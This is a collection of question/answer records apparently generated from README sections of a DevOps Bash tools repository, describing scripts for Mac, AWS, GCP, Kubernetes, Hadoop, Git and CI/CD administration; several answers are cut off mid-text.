page](https://github.com/HariSekhon/Knowledge-Base/blob/main/mac.md#time-machine) for why\n- `mac_rmdir.sh` - safely delete a directory on Mac only if it is empty of actual data, by first removing macOS hidden metadata files and dirs such as `.fseventsd/`, `.Spotlight-V100/` and `.DS_Store` - straight `rmdir` fails otherwise\n- `mac_iso_to_usb.sh` - converts a given ISO file to a USB bootable image and burns it onto a given or detected inserted USB drive\n- `mac_ramdisk.sh` - creates a mac ramdisk of given MB size. Useful for performance, or even testing disk write scripts such as `disk_speed_write_*.sh` without wearing out your SSD\n- `mac_delete_local_snapshots.sh` - deletes local macOS snapshots to free up disk space. When there is a substantial discrepancy between what the `df -h` command and the Finder UI shows, this is often the cause\n- `copy_to_clipboard.sh` - copies stdin or string arg to system clipboard on Linux or Mac\n- `paste_from_clipboard.sh` - pastes from system clipboard to stdout on Linux or Mac\n- `paste_from_clipboard_upon_changes.sh` - pastes from system clipboard to stdout on Linux or Mac whenever the clipboard changes\n- `paste_diff_settings.sh` - Takes snapshots of before and after clipboard changes and diffs them to show config changes\n\n`applescript/` directory:\n\n- `keystrokes.sh` - send N keystroke combinations\n- `mouse_clicks.sh` - send N mouse click combinations to sequence of screen coordinates\n  - `get_mouse_coordinates.sh` - print the current mouse coordinates - to know what to pass to above script\n- `mouse_clicks_remote_desktop.sh` - switches to Microsoft Remote Desktop, waits 10 seconds and then clicks the mouse\n  once a minute to prevent the screensaver from coming on. Workaround to Active Directory Group Policies that don't let\n  you disable the screensaver. Point your mouse to an area that will have no mouse click effect, the Cmd-Tab to Terminal\n  and run this\n- `get_frontmost_process_title.scpt` - detect the frontmost window\n  - to detect if you should send keystrokes / mouse clicks)\n- `set_frontmost_process.scpt` - switch to bring the given app to the foreground to send keystrokes / mouse clicks to it\n  - `browser_get_default.scpt` - get the default configured browser in format passable to Applescript (for  above script)\n- `is_screen_locked.py` - detect if the screen is locked to stop sending keystrokes or mouse clicks\n- `is_screensaver_running.scpt` - detect if the screensaver is running to stop sending keystrokes or mouse clicks\n- `reopen_app.sh` - relaunch a given app\n  (used to reload Shazam to detect DB changes after removing tracks programmatically from its DB)\n- `spotify_app_search.sh` - runs a search in the Spotify App on Mac using Applescript\n- `shazam_app_dump_tracks.sh` - dumps `artist - track` one per line from the Shazam local sqlite DB\n- `shazam_app_delete_track.sh` - deletes a given `\"artist\" \"track\"` from the Shazam local sqlite DB\n- `shazam_search_spotify_then_delete_track.sh` - searches for each Shazam'd track in the local Spotify desktop app,\n  then prompts to delete each track from the local Shazam DB once you've saved it in Spotify.\n  Useful to migrate Shazam'd tracks to Spotify after Apple removed the integration\n- `screensaver_activate.scpt` - activate screensaver\n- `shorten_text_selection.scpt` - shortens the selected text in the prior window. Replaces `and` with `&` and crushes\n  out multiple blank lines. I use this for LinkedIn comments due to the short 1250 character limit\n- `start_app_at_login.sh` - adds an app to the Login items to auto-start\n\nHammerspoon code has been moved to its own repo:\n\n[![Readme Card](https://github-readme-stats.vercel.app/api/pin/?username=HariSekhon&repo=Hammerspoon&theme=ambient_gradient&description_lines_count=3)](https://github.com/HariSekhon/Hammerspoon)\n\nSee also [Mac](https://github.com/HariSekhon/Knowledge-Base/blob/main/mac.md) page\nin [HariSekhon/Knowledge-Base](https://github.com/HariSekhon/Knowledge-Base).", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879866"}
{"id": "gh_5c719aefdff3", "question": "How to: Monitoring", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`monitoring/` directory:\n\n- `dump_stats.sh` - dumps common command outputs to text files in a local tarball. Useful to collect support information\n  for vendor support cases\n- `grafana_api.sh` - queries the [Grafana](https://grafana.com/) API with authentication\n- `log_timestamp_large_intervals.sh` - finds log lines whose timestamp intervals exceed the given number of seconds and\n  outputs those log lines with the difference between the last and current timestamps. Useful to find actions that are\n  taking a long time from log files such as CI/CD logs\n- `prometheus.sh` - starts [Prometheus](https://prometheus.io/) locally, downloading it if not found in `$PATH`\n- `prometheus_docker.sh` - starts [Prometheus](https://prometheus.io/) in Docker using `docker-compose`\n- `prometheus_node_exporter.sh` - starts Prometheus `node_exporter` locally, downloading it if not found in `$PATH`\n- `ssh_dump_stats.sh` - uses SSH and `dump_stats.sh` to dump common command outputs from remote servers to a local\n  tarball. Useful for vendor support cases\n- `ssh_dump_logs.sh` - Uses SSH to dump logs from server to local text files for uploading to vendor support cases\n\nSee doc pages in [HariSekhon/Knowledge-Base](https://github.com/HariSekhon/Knowledge-Base) on Grafana,\nPrometheus, OpenTSDB, InfluxDB etc.", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879875"}
{"id": "gh_d9d5ac31c454", "question": "How to: AWS - Amazon Web Services", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`aws/` directory:\n\n- [AWS](https://aws.amazon.com/) scripts - `aws_*.sh`:\n  - `aws_profile.sh` - switches to an AWS Profile selected from a convenient interactive menu list of AWS profiles from `$AWS_CONFIG_FILE` - useful when you have lots of AWS work profiles\n    - see also [HariSekhon/Environments](https://github.com/HariSekhon/Environments) for automated switching using direnv when `cd`ing into relevant directories\n  - `aws_cli_create_credential.sh` - creates an AWS service account user for CI/CD or CLI with Admin permissions (or other group or policy), creates an AWS Access Key, saves a credentials CSV and even prints the shell export commands and aws credentials file config to configure your environment to start using it. Useful trick to avoid CLI reauth to `aws sso login` every day.\n  - `aws_terraform_create_credential.sh` - creates a AWS terraform service account with Administrator permissions for Terraform Cloud or other CI/CD systems to run Terraform plan and apply, since no CI/CD systems can work with AWS SSO workflows. Stores the access key as both CSV and prints shell export commands and credentials file config as above\n  - `.envrc-aws` - copy to `.envrc` for [direnv](https://direnv.net/) to auto-load AWS configuration settings such as AWS Profile, Compute Region, EKS cluster kubectl context etc.\n    - calls `.envrc-kubernetes` to set the `kubectl` context isolated to current shell to prevent race conditions between shells and scripts caused by otherwise naively changing the global `~/.kube/config` context\n  - `aws_sso_ssh.sh` - launches local AWS SSO authentication pop-up (if not already authenticated), then scp's the latest resultant `~/.aws/sso/cache/` file to the remote server and SSH's there so that you can use AWS CLI or kubectl to EKS remotely on that server easily, without having to copy and paste the token from remote aws sso login to your local web browser\n  - `aws_terraform_create_s3_bucket.sh` - creates a Terraform S3 bucket for storing the backend state, locks out public access, enables versioning, encryption, and locks out Power Users role and optionally any given user/group/role ARNs via a bucket policy for safety\n  - `aws_terraform_create_dynamodb_table.sh` - creates a Terraform locking table in DynamoDB for use with the S3 backend, plus custom IAM policy which can be applied to less privileged accounts\n  - `aws_terraform_create_all.sh` - runs all of the above, plus also applies the custom DynamoDB IAM policy to the user to ensure if the account is less privileged it can still get the Terraform lock (useful for GitHub Actions environment secret for a read only user to generate Terraform Plans in Pull Request without needing approval)\n  - `aws_terraform_iam_grant_s3_dynamodb.sh` - creates IAM policies to access any S3 buckets and DynamoDB tables with `terraform-state` or `tf-state` in their names, and attaches them to the given user. Useful for limited permissions CI/CD accounts that run Terraform Plan eg. in GitHub Actions pull requests\n  - `aws_account_summary.sh` - prints AWS account summary in `key = value` pairs for easy viewing / grepping of things like `AccountMFAEnabled`, `AccountAccessKeysPresent`, useful for checking whether the root account has MFA enabled and no access keys, comparing number of users vs number of MFA devices etc. (see also `check_aws_root_account.py` in [Advanced Nagios Plugins](https://github.com/HariSekhon/Nagios-Plugins))\n  - `aws_billing_alarm.sh` - creates a [CloudWatch](https://aws.amazon.com/cloudwatch/) billing alarm and [SNS](https://aws.amazon.com/sns/) topic with subscription to email you when you incur charges above a given threshold. This is often the first thing you want to do on an account\n  - `aws_budget_alarm.sh` - creates an [AWS Budgets](https://aws.amazon.com/cloudwatch/) billing alarm and [SNS](https://aws.amazon.com/sns/) topic with subscription to email you when both when you start incurring forecasted charges of over 80% of your budget, and 90% actual usage. This is often the first thing you want to do on an account\n  - `aws_batch_stale_jobs.sh` - lists [AWS Batch](https://aws.amazon.com/batch/) jobs that are older than N hours in a given queue\n  - `aws_batch_kill_stale_jobs.sh` - finds and kills [AWS Batch](https://aws.amazon.com/batch/) jobs that are older than N hours in a given queue\n  - `aws_cloudfront_distribution_for_origin.sh` - returns the AWS CloudFront ARN of the distribution which serves origins containing a given substring. Useful for quickly finding the CloudFront ARN needed to give permissions to a private S3 bucket exposed via CloudFront\n  - `aws_cloudtrails_cloudwatch.sh` - lists [Cloud Trails](https://aws.amazon.com/cloudtrail/) and their last delivery to [CloudWatch](https://aws.amazon.com/cloudwatch/features/) Logs (should be recent)\n  - `aws_cloudtrails_event_selectors.sh` - lists [Cloud Trails](https://aws.amazon.com/cloudtrail/) and their event selectors to check each one has at least one event selector", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879923"}
{"id": "gh_90ae6439e3aa", "question": "How to: GCP - Google Cloud Platform", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`gcp/` directory:\n\n- [Google Cloud](https://cloud.google.com/) scripts - `gcp_*.sh` / `gce_*.sh` / `gke_*.sh` / `gcr_*.sh` / `bigquery_*.sh`:\n  - `.envrc-gcp` - copy to `.envrc` for [direnv](https://direnv.net/) to auto-load GCP configuration settings such as Project, Region, Zone, GKE cluster kubectl context or any other GCloud SDK settings to shorten `gcloud` commands. Applies to the local shell environment only to avoid race conditions caused by naively changing the global gcloud config at `~/.config/gcloud/active_config`\n    - calls `.envrc-kubernetes` to set the `kubectl` context isolated to current shell to prevent race conditions between shells and scripts caused by otherwise naively changing the global `~/.kube/config` context\n  - `gcp_terraform_create_credential.sh` - creates a service account for [Terraform](https://www.terraform.io/) with full permissions, creates and downloads a credential key json and even prints the `export GOOGLE_CREDENTIALS` command to configure your environment to start using Terraform immediately. Run once for each project and combine with [direnv](https://direnv.net/) for fast easy management of multiple GCP projects\n  - `gcp_ansible_create_credential.sh` - creates an [Ansible](https://www.ansible.com/) service account with permissions on the current project, creates and downloads a credential key json and prints the environment variable to immediately use it\n  - `gcp_cli_create_credential.sh` - creates a GCloud SDK CLI service account with full owner permissions to all projects, creates and downloads a credential key json and even prints the `export GOOGLE_CREDENTIALS` command to configure your environment to start using it. Avoids having to reauth to `gcloud auth login` every day.\n  - `gcp_spinnaker_create_credential.sh` - creates a [Spinnaker](https://spinnaker.io/) service account with permissions on the current project, creates and downloads a credential key json and even prints the Halyard CLI configuration commands to use it\n  - `gcp_info.sh` - huge [Google Cloud](https://cloud.google.com/) inventory of deployed resources within the current project - Cloud SDK info plus all of the following (detects which services are enabled to query):\n    - `gcp_info_compute.sh` - [GCE](https://cloud.google.com/compute/) Virtual Machine instances, [App Engine](https://cloud.google.com/appengine) instances, [Cloud Functions](https://cloud.google.com/functions), [GKE](https://cloud.google.com/kubernetes-engine) clusters, all [Kubernetes](https://kubernetes.io/) objects across all GKE clusters (see `kubernetes_info.sh` below for more details)\n    - `gcp_info_storage.sh` - [Cloud SQL](https://cloud.google.com/sql) info below, plus: [Cloud Storage](https://cloud.google.com/storage) Buckets, [Cloud Filestore](https://cloud.google.com/filestore), [Cloud Memorystore Redis](https://cloud.google.com/memorystore), [BigTable](https://cloud.google.com/bigtable) clusters and instances, [Datastore](https://cloud.google.com/datastore) indexes\n    - `gcp_info_cloud_sql.sh` - [Cloud SQL](https://cloud.google.com/sql) instances, whether their backups are enabled, and all databases on each instance\n      - `gcp_info_cloud_sql_databases.sh` - lists databases inside each [Cloud SQL](https://cloud.google.com/sql) instance. Included in `gcp_info_cloud_sql.sh`\n      - `gcp_info_cloud_sql_backups.sh` - lists backups for each [Cloud SQL](https://cloud.google.com/sql) instance with their dates and status. Not included in `gcp_info_cloud_sql.sh` for brevity. See also `gcp_sql_export.sh` further down for more durable backups to [GCS](https://cloud.google.com/storage)\n      - `gcp_info_cloud_sql_users.sh` - lists users for each running [Cloud SQL](https://cloud.google.com/sql) instance. Not included in `gcp_info_cloud_sql.sh` for brevity but useful to audit users\n    - `gcp_info_networking.sh` - VPC Networks, Addresses, Proxies, Subnets, Routers, Routes, VPN Gateways, VPN Tunnels, Reservations, Firewall rules, Forwarding rules, [Cloud DNS](https://cloud.google.com/dns) managed zones and verified domains\n    - `gcp_info_bigdata.sh` - [Dataproc](https://cloud.google.com/dataproc) clusters and jobs in all regions, [Dataflow](https://cloud.google.com/dataflow) jobs in all regions, [PubSub](https://cloud.google.com/pubsub) messaging topics, [Cloud IOT](https://cloud.google.com/iot-core) registries in all regions\n    - `gcp_info_tools.sh` - [Cloud Source Repositories](https://cloud.google.com/source-repositories), [Cloud Builds](https://cloud.google.com/cloud-build), [Container Registry](https://cloud.google.com/container-registry) images across all major repos (`gcr.io`, `us.gcr.io`, `eu.gcr.io`, `asia.gcr.io`), [Deployment Manager](https://cloud.google.com/deployment-manager) deployments\n    - `gcp_info_auth_config.sh` - Auth Configurations, Organizations & Current Config\n    - `gcp_info_projects.sh` - Projects names and IDs\n    - `gcp_info_services.sh` - Services & APIs enabled\n      - `gcp_service_apis.sh` - lis", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879962"}
{"id": "gh_03382324c792", "question": "How to: Kubernetes", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`kubernetes/` directory:\n\n- `.envrc-kubernetes` - copy to `.envrc` for [direnv](https://direnv.net/) to auto-load the right Kubernetes `kubectl` context isolated to current shell to prevent race conditions between shells and scripts caused by otherwise naively changing the global `~/.kube/config` context\n- `aws/eksctl_cluster.sh` - quickly spins up an [AWS EKS](https://aws.amazon.com/eks/) cluster using `eksctl` with some sensible defaults\n- `kubernetes_info.sh` - huge [Kubernetes](https://kubernetes.io/) inventory listing of deployed resources across all namespaces in the current cluster / kube context:\n  - cluster-info\n  - master component statuses\n  - nodes\n  - namespaces\n  - deployments, replicasets, replication controllers, statefulsets, daemonsets, horizontal pod autoscalers\n  - storage classes, persistent volumes, persistent volume claims\n  - service accounts, resource quotas, network policies, pod security policies\n  - container images running\n  - container images running counts descending\n  - pods  (might be too much detail if you have high replica counts, so done last, comment if you're sure nobody has deployed pods outside deployments)\n- `kubectl.sh` - runs kubectl commands safely fixed to a given context using config isolation to avoid concurrency race conditions\n- `kubectl_diff_apply.sh` - generates a kubectl diff and prompts to apply\n- `kustomize_diff_apply.sh` - runs Kustomize build, precreates any namespaces, shows a kubectl diff of the proposed changes, and prompts to apply\n- `kustomize_diff_branch.sh` - runs Kustomize build against the current and target base branch for current or all given directories, then shows the diff for each directory. Useful to detect differences when refactoring, such as switching to tagged bases\n- `kubectl_create_namespaces.sh` - creates any namespaces in yaml files or stdin, a prerequisite for a diff on a blank install, used by adjacent scripts for safety\n- `kubernetes_check_objects_namespaced.sh` - checks Kubernetes yaml(s) for objects which aren't explicitly namespaced, which can easily result in deployments to the wrong namespace. Reads the API resources from your current Kubernetes cluster and if successful excludes cluster-wide objects\n- `kustomize_check_objects_namespaced.sh` - checks Kustomize build yaml output for objects which aren't explicitly namespaced (uses above script)\n- `kubectl_deployment_pods.sh` - gets the pod names with their unpredictable suffixes for a given deployment by querying the deployment's selector labels and then querying pods that match those labels\n- `kubectl_get_all.sh` - finds all namespaced Kubernetes objects and requests them for the current or given namespace. Useful because `kubectl get all` misses a lof of object types\n- `kubectl_get_annotation.sh` - find a type of object with a given annotation\n- `kubectl_restart.sh` - restarts all or filtered deployments/statefulsets in the current or given namespace. Useful when debugging or clearing application problems\n- `kubectl_logs.sh` - tails all containers in all pods or filtered pods in the current or given namespace. Useful when debugging a distributed set of pods in live testing\n- `kubectl_kv_to_secret.sh` - creates a Kuberbetes secret from `key=value` or shell export format, as args or via stdin (eg. piped from `aws_csv_creds.sh`)\n- `kubectl_secret_values.sh` - prints the keys and base64 decoded values within a given Kubernetes secret for quick debugging of Kubernetes secrets. See also: `gcp_secrets_to_kubernetes.sh`\n- `kubectl_secrets_download.sh` - downloads all secrets in current or given namespace to local files of the same name, useful as a backup before migrating to Sealed Secrets\n- `kubernetes_secrets_compare_gcp_secret_manager.sh` - compares each Kubernetes secret to the corresponding secret in GCP Secret Manager. Useful to safety check GCP Secret Manager values align before enabling [External Secrets](https://external-secrets.io/latest/) to replace them\n- `kubernetes_secret_to_external_secret.sh` - generates an [External Secret](https://external-secrets.io/latest/) from an existing Kubernetes secret\n- `kubernetes_secrets_to_external_secrets.sh` - generates [External Secrets](https://external-secrets.io/latest/) from all existing Kubernetes secrets found in the current or given namespace\n- `kubernetes_secret_to_sealed_secret.sh` - generates a [Bitnami Sealed Secret](https://github.com/bitnami-labs/sealed-secrets) from an existing Kubernetes secret\n- `kubernetes_secrets_to_sealed_secrets.sh` - generates [Bitnami Sealed Secrets](https://github.com/bitnami-labs/sealed-secrets) from all existing Kubernetes secrets found in the current or given namespace\n- `kubectl_secrets_annotate_to_be_sealed.sh` - annotates secrets in current or given namespace to allow being overwritten by Sealed Secrets (useful to sync ArgoCD health)\n- `kubectl_secrets_not_sealed.sh` - finds secrets with no SealedSecret ownerReferences\n- `kubectl_secrets_to_be_sealed.sh` - finds secrets pending overwr", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879998"}
{"id": "gh_9bc67fbdb6e2", "question": "How to: Big Data & NoSQL", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`bigdata/` and `kafka/` directories:\n\n- `kafka_*.sh` - scripts to make [Kafka](http://kafka.apache.org/) CLI usage easier including auto-setting Kerberos to source TGT from environment and auto-populating broker and zookeeper addresses. These are auto-added to the `$PATH` when `.bashrc` is sourced. For something similar for [Solr](https://lucene.apache.org/solr/), see `solr_cli.pl` in the [DevOps Perl Tools](https://github.com/HariSekhon/DevOps-Perl-tools) repo.\n- `zookeeper*.sh` - [Apache ZooKeeper](https://zookeeper.apache.org/) scripts:\n  - `zookeeper_client.sh` - shortens `zookeeper-client` command by auto-populating the zookeeper quorum from the environment variable `$ZOOKEEPERS` or else parsing the zookeeper quorum from `/etc/**/*-site.xml` to make it faster and easier to connect\n  - `zookeeper_shell.sh` - shortens Kafka's `zookeeper-shell` command by auto-populating the zookeeper quorum from the environment variable `$KAFKA_ZOOKEEPERS` and optionally `$KAFKA_ZOOKEEPER_ROOT` to make it faster and easier to connect\n- `hive_*.sh` / `beeline*.sh` - [Apache Hive](https://hive.apache.org/) scripts:\n  - `beeline.sh` - shortens `beeline` command to connect to [HiveServer2](https://cwiki.apache.org/confluence/display/Hive/HiveServer2+Overview) by auto-populating Kerberos and SSL settings, zookeepers for HiveServer2 HA discovery if the environment variable `$HIVE_HA` is set or using the `$HIVESERVER_HOST` environment variable so you can connect with no arguments (prompts for HiveServer2 address if you haven't set `$HIVESERVER_HOST` or `$HIVE_HA`)\n    - `beeline_zk.sh` - same as above for [HiveServer2](https://cwiki.apache.org/confluence/display/Hive/HiveServer2+Overview) HA by auto-populating SSL and ZooKeeper service discovery settings (specify `$HIVE_ZOOKEEPERS` environment variable to override). Automatically called by `beeline.sh` if either `$HIVE_ZOOKEEPERS` or `$HIVE_HA` is set (the latter parses `hive-site.xml` for the ZooKeeper addresses)\n  - `hive_foreach_table.sh` - executes a SQL query against every table, replacing `{db}` and `{table}` in each iteration eg. `select count(*) from {table}`\n  - `hive_list_databases.sh` - list Hive databases, one per line, suitable for scripting pipelines\n  - `hive_list_tables.sh` - list Hive tables, one per line, suitable for scripting pipelines\n  - `hive_tables_metadata.sh` - lists a given DDL metadata field for each Hive table (to compare tables)\n  - `hive_tables_location.sh` - lists the data location per Hive table (eg. compare external table locations)\n  - `hive_tables_row_counts.sh` - lists the row count per Hive table\n  - `hive_tables_column_counts.sh` - lists the column count per Hive table\n- ` impala*.sh` - [Apache Impala](https://impala.apache.org/) scripts:\n  - `impala_shell.sh` - shortens `impala-shell` command to connect to [Impala](https://impala.apache.org/) by parsing the Hadoop topology map and selecting a random datanode to connect to its Impalad, acting as a cheap CLI load balancer. For a real load balancer see [HAProxy config for Impala](https://github.com/HariSekhon/HAProxy-configs) (and many other Big Data & NoSQL technologies). Optional environment variables `$IMPALA_HOST` (eg. point to an explicit node or an HAProxy load balancer) and `IMPALA_SSL=1` (or use regular impala-shell `--ssl` argument pass through)\n  - `impala_foreach_table.sh` - executes a SQL query against every table, replacing `{db}` and `{table}` in each iteration eg. `select count(*) from {table}`\n  - `impala_list_databases.sh` - list Impala databases, one per line, suitable for scripting pipelines\n  - `impala_list_tables.sh` - list Impala tables, one per line, suitable for scripting pipelines\n  - `impala_tables_metadata.sh` - lists a given DDL metadata field for each Impala table (to compare tables)\n  - `impala_tables_location.sh` - lists the data location per Impala table (eg. compare external table locations)\n  - `impala_tables_row_counts.sh` - lists the row count per Impala table\n  - `impala_tables_column_counts.sh` - lists the column count per Impala table\n- `hdfs_*.sh` - Hadoop [HDFS](https://en.wikipedia.org/wiki/Apache_Hadoop#Hadoop_distributed_file_system) scripts:\n  - `hdfs_checksum*.sh` - walks an HDFS directory tree and outputs HDFS native checksums (faster) or portable externally comparable CRC32, in serial or in parallel to save time\n  - `hdfs_find_replication_factor_1.sh` / `hdfs_set_replication_factor_3.sh` - finds HDFS files with replication factor 1 / sets HDFS files with replication factor <=2 to replication factor 3 to repair replication safety and avoid no replica alarms during maintenance operations (see also Python API version in the [DevOps Python Tools](https://github.com/HariSekhon/DevOps-Python-tools) repo)\n  - `hdfs_file_size.sh` / `hdfs_file_size_including_replicas.sh` - quickly differentiate HDFS files raw size vs total replicated size\n  - `hadoop_random_node.sh` - picks a random Hadoop cluster worker node, like a cheap CLI load balancer, useful in s", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880018"}
{"id": "gh_a632614436de", "question": "How to: Git - GitHub, GitLab, Bitbucket, Azure DevOps", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`git/`, `github/`, `gitlab/`, `bitbucket/` and `azure_devops/` directories:\n\n- `git/*.sh` - [Git](https://git-scm.com/) scripts:\n  - `precommit_run_changed_files.sh` - runs pre-commit on all files changed on the current branch vs the default branch. Useful to reproduce `pre-commit` checks that are failing in pull requests to get your PRs to pass\n  - `git_diff_commit.sh` - quickly commits added or updated files to Git, showing a diff and easy enter prompt for each file. Super convenient for fast commits on the command line, and in vim and IDEs via hotkeys\n  - `git_review_push.sh` - shows diff of what would be pushed upstream and prompts to push. Convenient for fast reviewed pushes via vim or IDEs hotkeys\n  - `git_branch_delete_squash_merged.sh` - carefully detects if a squash merged branch you want to delete has no changes with the default trunk branch before deleting it.\n     See [Squash Merges](https://github.com/HariSekhon/Knowledge-Base/blob/main/git.md#squash-merges-require-force-deleting-branches) in knowledge-base about why this is necessary.\n  - `git_tag_release.sh` - creates a Git tag, auto-incrementing a `.N` suffix on the year/month/day date format if no exact version given\n  - `git_foreach_branch.sh` - executes a command on all branches (useful in heavily version branched repos like in my [Dockerfiles](https://github.com/HariSekhon/Dockerfiles) repo)\n  - `git_foreach_repo.sh` - executes a command against all adjacent repos from a given repolist (used heavily by many adjacent scripts)\n  - `git_foreach_modified.sh` - executes a command against each file with git modified status\n  - `git_foreach_repo_replace_readme_actions.sh` - updates the `README.md` badges for GitHub Actions to match the local repo name. Useful to bulk fix copied badges quickly and easily\n  - `git_foreach_repo_update_readme.sh` - git-diff-commits the `README.md` for each Git repo checkout using adjacent `git_foreach_repo.sh` and `git_diff_commit.sh` scripts. Useful to quickly bulk update `README.md` in all your projects, such as when references need updating\n  - `git_push_stats.sh` - shows the Git push stats to the remote origin for the current branch - number of commits and lines of diff, using the following `git_origin_*.sh` scripts:\n  - `git_origin_log_to_push.sh` - shows the Git log in local branch that would be pushed to remote origin\n  - `git_origin_files_to_push.sh` - shows the Git files in local branch that would be pushed to remote origin\n  - `git_origin_diff_to_push.sh` - shows the Git diff of lines in local branch that would be pushed to remote origin\n  - `git_origin_commit_count_to_push.sh` - shows the number of Git commits in local branch that would be pushed to remote origin\n  - `git_origin_line_count_to_push.sh` - shows the Git number of lines changed in local branch that would be pushed to remote origin. These are lines actually added / changed / removed without surrounding context lines\n  - `git_merge_all.sh` / `git_merge_master.sh` / `git_merge_master_pull.sh` - merges updates from master branch to all other branches to avoid drift on longer lived feature branches / version branches (eg. [Dockerfiles](https://github.com/HariSekhon/Dockerfiles) repo)\n  - `git_remotes_add_origin_providers.sh` - auto-creates remotes for the 4 major public repositories ([GitHub](https://github.com/)/[GitLab](https://gitlab.com/)/[Bitbucket](https://bitbucket.org)/[Azure DevOps](https://dev.azure.com/)), useful for `git pull -all` to fetch and merge updates from all providers in one command\n  - `git_remotes_set_multi_origin.sh` - sets up multi-remote origin for unified push to automatically keep the 4 major public repositories in sync (especially useful for [Bitbucket](https://bitbucket.org) and [Azure DevOps](https://dev.azure.com/) which don't have [GitLab](https://gitlab.com/)'s auto-mirroring from [GitHub](https://github.com/) feature)\n  - `git_remotes_set_https_to_ssh.sh` - converts local repo's remote URLs from https to ssh (more convenient with SSH keys instead of https auth tokens, especially since Azure DevOps expires personal access tokens every year)\n  - `git_remotes_set_ssh_to_https.sh` - converts local repo's remote URLs from ssh to https (to get through corporate firewalls or hotels if you travel a lot)\n  - `git_remotes_set_https_creds_helpers.sh` - adds Git credential helpers configuration to the local git repo to use http API tokens dynamically from environment variables if they're set\n  - `git_repos_pull.sh` - pull multiple repos based on a source file mapping list - useful for easily sync'ing lots of Git repos among computers\n  - `git_repos_update.sh` - same as above but also runs the `make update` build to install the latest dependencies, leverages the above script\n  - `git_grep_env_vars.sh` - find environment variables in the current git repo's code base in the format `SOME_VAR` (useful to find undocumented environment variables in internal or open source projects such as ArgoCD eg. [argoproj/argocd-cd #8680](http", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.880063"}
{"id": "gh_0d867991de03", "question": "How to: CI/CD - Continuous Integration / Continuous Deployment", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`jenkins/`, `terraform/`, `teamcity/`, `buildkite/`, `circlci/`, `travis/`, `azure_devops/`, ...,  `cicd/` directories:\n\n- `appveyor_api.sh` - queries [AppVeyor](https://www.appveyor.com/)'s API with authentication\n- `azure_devops/*.sh` - [Azure DevOps](https://dev.azure.com/) scripts:\n  - `azure_devops_api.sh` - queries Azure DevOps's API with authentication\n  - `azure_devops_foreach_repo.sh` - executes a templated command for each Azure DevOps repo, replacing `{user}`, `{org}`, `{project}` and `{repo}` in each iteration\n  - `azure_devops_to_github_migration.sh` - migrates one or all Azure DevOps git repos to GitHub, including all branches and sets the default branch to match via the APIs to maintain the same checkout behaviour\n  - `azure_devops_disable_repos.sh` - disables one or more given Azure DevOps repos (to prevent further pushes to them after migration to GitHub)\n- `circleci/*.sh` - [CircleCI](https://circleci.com/) scripts:\n  - `circleci_api.sh` - queries CircleCI's API with authentication\n  - `circleci_project_set_env_vars.sh` - adds / updates CircleCI project-level environment variable(s) via the API from `key=value` or shell export format, as args or via stdin (eg. piped from `aws_csv_creds.sh`)\n  - `circleci_context_set_env_vars.sh` - adds / updates CircleCI context-level environment variable(s) via the API from `key=value` or shell export format, as args or via stdin (eg. piped from `aws_csv_creds.sh`)\n  - `circleci_project_delete_env_vars.sh` - deletes CircleCI project-level environment variable(s) via the API\n  - `circleci_context_delete_env_vars.sh` - deletes CircleCI context-level environment variable(s) via the API\n  - `circleci_local_execute.sh` - installs CircleCI CLI and executes `.circleci/config.yml` locally\n  - `circleci_public_ips.sh` - lists [CircleCI](https://circleci.com) public IP addresses via dnsjson.com\n- `codeship_api.sh` - queries [CodeShip](https://codeship.com/)'s API with authentication\n- `drone_api.sh` - queries [Drone.io](https://drone.io/)'s API with authentication\n- `shippable_api.sh` - queries [Shippable](https://www.shippable.com/)'s API with authentication\n- `wercker_app_api.sh` - queries [Wercker](https://app.wercker.com/)'s Applications API with authentication\n- `gocd_api.sh` - queries [GoCD](https://www.gocd.org/)'s API\n- `gocd.sh` - one-touch [GoCD CI](https://www.gocd.org/):\n  - launches in Docker\n  - (re)creates config repo (`$PWD/setup/gocd_config_repo.json`) from which to source pipeline(s) (`.gocd.yml`)\n  - detects and enables agent(s) to start building\n  - call from any repo top level directory with a `.gocd.yml` config (all mine have it), mimicking structure of fully managed CI systems\n- `concourse.sh` - one-touch [Concourse CI](https://concourse-ci.org/):\n  - launches in Docker\n  - configures pipeline from `$PWD/.concourse.yml`\n  - triggers build\n  - tails results in terminal\n  - prints recent build statuses at end\n  - call from any repo top level directory with a `.concourse.yml` config (all mine have it), mimicking structure of fully managed CI systems\n- `fly.sh` - shortens [Concourse](https://concourse-ci.org/) `fly` command to not have to specify target all the time\n- `jenkins/*.sh` - 